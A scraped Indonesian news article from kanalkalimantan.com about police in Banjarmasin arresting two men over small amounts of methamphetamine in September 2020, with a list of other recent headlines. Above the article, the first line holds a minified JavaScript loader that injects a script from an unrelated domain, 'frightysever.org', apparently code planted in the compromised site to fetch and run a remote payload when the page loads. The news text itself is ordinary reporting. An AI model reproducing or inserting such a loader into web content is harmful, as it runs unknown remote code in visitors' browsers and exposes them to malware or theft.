(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kriminal Banjarmasin

Kabur Sempat Nyebur ke Sungai, Dua Penyimpan Sabu Dibekuk Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Berbagai cara dilakukan para tersangka yang kedapatan memiliki narkoba untuk lari dari kejaran petugas saat dilakukan penangkapan. Ini terjadi saat petugas meringkus AR (42) warga jalan Alalak Tengah, Banjarmasin pada Sabtu (5/9/2020) sekitar pukul 23.00 WITA.

Kapolsek Banjarmasin Utara AKP Gita Achmadi Suhandi mengatakan, penangkapan terduga pelaku berawal dari giat unit opsnal patroli rutin yang dipimpin Kanit Reskrim Ipda Hendra Agustian Ginting. Waktu petugas melintas di kawasan Alalak Tengah, petugas melihat tersangka yang menunjukkan gerak-gerik mencurigakan.

“Saat didekati, pelaku langsung lari ke belakang rumah,” kata AKP Gita di Banjarmasin, Selasa (8/9/2020).

Kerana menunjukkan perilaku mencurigakan, alhasil terjadi aksi kejar-kejaran. Tak berselang lama, petugas berhasil meringkus pelaku yang tak dapat berkelit saat petugas melakukan penggeledahan. “Dari dalam dompet pelaku, petugas mendapati 1 paket sabu dengan berat 1,09 gram,” ungkap Gita.

Dalam penangkapan tak berakhir disitu, saat akan dibawa menuju sepeda motor, terduga pelaku berontak dan berusaha kabur dengan cara ingin menceburkan diri ke sungai. Kendati telah diberikan tembakan peringatan, lanjut Gita, terduga pelaku tak sedikitpun mengurangi kecepatan larinya.

Beruntung petugas yang kembali terlibat kejar-kejaran dengan pelaku lebih gesit hingga akhirnya upayanya untuk kabur dapat dihentikan. “Terduga pelaku sempat mau kabur saat kita amankan. Kita juga sempat berikan tembakan peringatan, untung Kanit Reskrim larinya lebih cepat hingga pelaku berhasil ditangkap kembali,” imbuh Gita.

Dua hari setelahnya, petugas juga berhasil meringkus satu kasus peredaran narkotika lainnya dengan tersangka berinisial M (42) yang merupakan warga jalan Kuin Utara, Kelurahan Kuin Utara, Banjarmasin.

Penangkapan pria yang akrab disapa Palun itu berasal dari informasi masyarakat yang didapatkan petugas bahwa akan terjadi transaksi narkotika jenis sabu-sabu pada Senin (7/9/2020). Alhasil, anggota buser berhasil mengamankan pelaku beserta barang bukti ketika pelaku ingin melakukan transaksi barang haram tersebut sekitar pukul 21.30 WITA.

Dari tangan tersangka, petugas berhasil mengamankan barang bukti berupa 15 paket kecil narkotika jenis sabu dengan berat 1,01 gram, satu buah Alat hisap sabu, dua buah pipet kaca, satu buah wadah headset warna hitam yang dipakai sebagai tempat menyimpan barang haram tersebut dan satu tempat lipstik. Setelah dilakukan pemeriksaan, kasus dari kedua tersangka ini masih bekaitan satu sama lain.

Atas perbuatannya, kedua tersangka dikenakan Pasal 112 Ayat 1 Undang Undang Nomor 35 tahun 2009 Tentang Narkotika. (kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Bie

Al Ghifari

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

9 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

11 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

11 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

13 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.